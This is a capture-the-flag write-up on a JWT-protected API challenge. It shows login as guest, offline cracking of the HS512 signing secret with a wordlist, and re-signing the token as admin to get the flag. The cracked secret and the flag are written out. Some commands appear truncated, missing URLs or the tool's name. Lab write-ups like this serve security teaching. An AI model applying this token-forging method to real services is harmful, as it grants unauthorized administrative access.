This was a backend API which required JWT token authentication. We enumerated the login API which produced a valid JWT token for the “guest” account using easily guessable credentials. We cracked the password for the JWT token since it was using a weak encryption algorithm and tampered it so that the username for the JWT would be admin instead of guest. Doing so and changing the request to use our new tampered token allowed us to access the flag.




Visiting the website, we are greeted with a JSON response saying that the ‘Authorization header is missing’ and that we are not authorized:


We manage to guess correctly and find the /login endpoint.

$ curl -X POST
{"Error":"Missing username or password field."}

We provide the username and password as guest:guest, per the landing page’s suggestion of using a guest account. This gets us a JWT token we can use to log in as the guest user.

$ curl -X POST -F "username=guest" -F "password=guest"
{"Token":"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNjIxMDE2NjkyfQ.v63VvzMyJ3o2oPVV72-ikLClsPOCvJzBDoNg4LtWGrjVZKxXWh0JBLOSX-srllbRMuZoj7dl1pGlVYThbE_0NQ"}

We will follow the website’s suggestion and add in the following Authorization header and provide the JWT token, using “Bearer” as the authentication type (since we are dealing with token authentication):

Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNjIxMDE2NjkyfQ.v63VvzMyJ3o2oPVV72-ikLClsPOCvJzBDoNg4LtWGrjVZKxXWh0JBLOSX-srllbRMuZoj7dl1pGlVYThbE_0NQ

After setting the Authentication header as described above, we now get a different response from the web server:

Authenticating as guest

Since we have the guest user’s JWT, we can try to attempt to tamper it:

$ base64 -d <<< "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNjIxMDE2NjkyfQ.v63VvzMyJ3o2oPVV72-ikLClsPOCvJzBDoNg4LtWGrjVZKxXWh0JBLOSX-srllbRMuZoj7dl1pGlVYThbE_0NQ" -i

We can attempt to crack the passphrase used to sign the JWT since it is using a weak HMAC HS512 algorithm:

python3 -t -rh "Authoriz
ation: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNjIxMDE4OTUwfQ.TGOKDyPXaFucGbFqzk_tBfXW3KIs4lX
9Bkm5iQnjuZY5IXovjm7kaZ3SRWyoEjDdT9uhKfhC8CIJ1f8CfaHUpQ" -C -d /usr/share/wordlists/rockyou.txt

Cracking the password

We successfully cracked the passphrase! We can now tamper the token and resign it using different values for the JWT token claims. We will change the username claim value to admin.

python3 -t -rh "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNjIxMDE4OTUwfQ.TGOKDyPXaFucGbFqzk_tBfXW3KIs4lX9Bkm5iQnjuZY5IXovjm7kaZ3SRWyoEjDdT9uhKfhC8CIJ1f8CfaHUpQ" -T -S hs512 -p "147852369" -pc username -pv admin

Tampering the token

After the tampering the token and setting the bearer token value in the Authorization header to our new token value, we now get a new response from the webserver from the /flag endpoint. The webserver finally provides us with the value of the flag

Getting the flag

{"Message":"Hi, admin! I have a secret for you.","Secret":"dctf{w34k_k3y5_4r3_n0t_0k4y}"}

Flag: dctf{w34k_k3y5_4r3_n0t_0k4y}